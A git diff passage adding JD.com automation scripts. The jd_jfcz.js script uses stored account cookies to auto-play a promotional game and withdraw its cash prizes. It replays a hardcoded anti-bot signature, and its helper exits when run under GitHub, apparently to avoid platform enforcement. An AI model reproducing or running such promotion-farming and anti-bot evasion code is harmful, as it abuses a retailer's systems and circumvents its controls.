console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function taskTuanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jfcz.js b/jd_jfcz.js new file mode 100644 index 0000000..f1d2d5e --- /dev/null +++ b/jd_jfcz.js @@ -0,0 +1,391 @@ +/* +见缝插针 +活动地址: 京东极速版-百元生活费-玩游戏现金可提现 +活动时间: +更新时间:2021-11-30 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#见缝插针 +15 10 * * * https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js, tag=见缝插针, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +=================================Loon=================================== +[Script] +cron "15 10 * * *" script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js,tag=见缝插针 +===================================Surge================================ +见缝插针 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js +====================================小火箭============================= +见缝插针 = type=cron,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js, cronexpr="15 10 * * *", timeout=3600, enable=true + */ +const $ = new Env('见缝插针'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = []; +let linkId = 'DYWV0DabsUxdj2FEBIkurg'; +let stop = false; +let needleLevel = 1; +let totalLevel = 400; +let allMessage = ''; +$.cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + totalLevel = 400 + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.hotFlag = false; //是否火爆 + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + stop = false + //获取下关等级 + await getNeedleLevelInfo(); + + console.log('当前关卡: ',needleLevel+"/"+totalLevel) + await $.wait(500); + for (let i = needleLevel; i <= totalLevel; i++) { + if (stop){ + console.log('关卡异常下个') + break + } + await getNeedleLevelInfo(needleLevel); + console.log('当前关卡: ',needleLevel+"/"+totalLevel) + if (stop){ + console.log('关卡异常下个') + break + } + await saveNeedleLevelInfo(needleLevel); + await $.wait(3000); + } + await needleMyPrize() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`,{ url: 'https://t.me/joinchat/DrHGFt-CvcE2ZmU1' }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +/** + * 获取奖励列表 + * @returns {Promise} + */ +function needleMyPrize() { + return new Promise(async resolve => { + let body = {"linkId":linkId,"pageNum":1,"pageSize":30}; + + const options = { + url: `https://api.m.jd.com/?functionId=needleMyPrize&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, + headers: { + 'Origin': 'https://joypark.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://joypark.jd.com/?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + for(let item of data.data.items.filter(vo => vo.needleMyPrizeItemVO.prizeType===4)){ + if(item.needleMyPrizeItemVO.prizeStatus===0 && item.status===1){ + await $.wait(500); + console.log(`提现${item.needleMyPrizeItemVO.prizeValue}微信现金`) + await apCashWithDraw(item.needleMyPrizeItemVO.id,item.needleMyPrizeItemVO.poolBaseId,item.needleMyPrizeItemVO.prizeGroupId,item.needleMyPrizeItemVO.prizeBaseId) + } + } + } else { + console.log(`提现异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + console.log(`logErr`,JSON.stringify(data)) + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 获取下关等级 + * @returns {Promise} + */ +function getNeedleLevelInfo(currentLevel) { + return new Promise(async resolve => { + let body = {"linkId":linkId}; + if (currentLevel !== undefined){ + body = {"linkId":linkId,"currentLevel":currentLevel}; + } + const options = { + url: `https://api.m.jd.com/?functionId=getNeedleLevelInfo&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, + headers: { + 'Origin': 'https://h5platform.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://h5platform.jd.com/swm-static/jfcz/index.html?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + stop = true + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.currentLevel != data.data.totalLevel){ + needleLevel = data.data.needleConfig.level + totalLevel = data.data.totalLevel + }else { + stop = true + console.log(`关卡已全部通过`) + } + } else { + stop = true + console.log(`获取下关等级异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + stop = true + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 通关 + * @returns {Promise} + */ +function saveNeedleLevelInfo(currentLevel) { + return new Promise(async resolve => { + let body = {"currentLevel":currentLevel,"linkId":linkId}; + + const options = { + url: `https://api.m.jd.com/?functionId=saveNeedleLevelInfo&body=${JSON.stringify(body)}&_t=${+new Date()}&appid=activities_platform&client=H5&clientVersion=1.0.0&h5st=20220106101759841%3B4377072519655308%3Bf1658%3Btk02waf0d1c2318njnCBM9qYgO8%2F%2Ftqq%2Fe1asBWVmidYfLpZ3kFd0rLsZOspq2aBxoz%2FBvATLVmEkPLX5U%2BFgNVmOc8E%3B22da3eb0d3c191a89ff16b5f051efdba2d0f013437857d994912faf498906d70%3B3.0%3B1641435479841`, + headers: { + 'Origin': 'https://h5platform.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://h5platform.jd.com/swm-static/jfcz/index.html?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + stop = true + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + console.log(`关卡[${currentLevel}]通关成功\n`); + } else { + stop = true + console.log(`通关异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + stop = true + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +/** + * 提现 + * @param id + * @param poolBaseId + * @param prizeGroupId + * @param prizeBaseId + * @returns {Promise} + */ +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + const body = { + "linkId": linkId, + "businessSource": "NONE", + "base": { + "prizeType": 4, + "business": "throwNeedleGame", + "id": id, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId + } + } + const options = { + url: `https://api.m.jd.com/`, + body: `functionId=apCashWithDraw&body=${JSON.stringify(body)}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': $.cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://joypark.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://joypark.jd.com/?activityId=${linkId}&channel=wlfc5`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.status === "310") { + console.log(`提现成功!`) + allMessage += `京东账号${$.index} ${$.UserName}见缝插针成功!\n`; + } else { + console.log(`提现:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`提现:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let 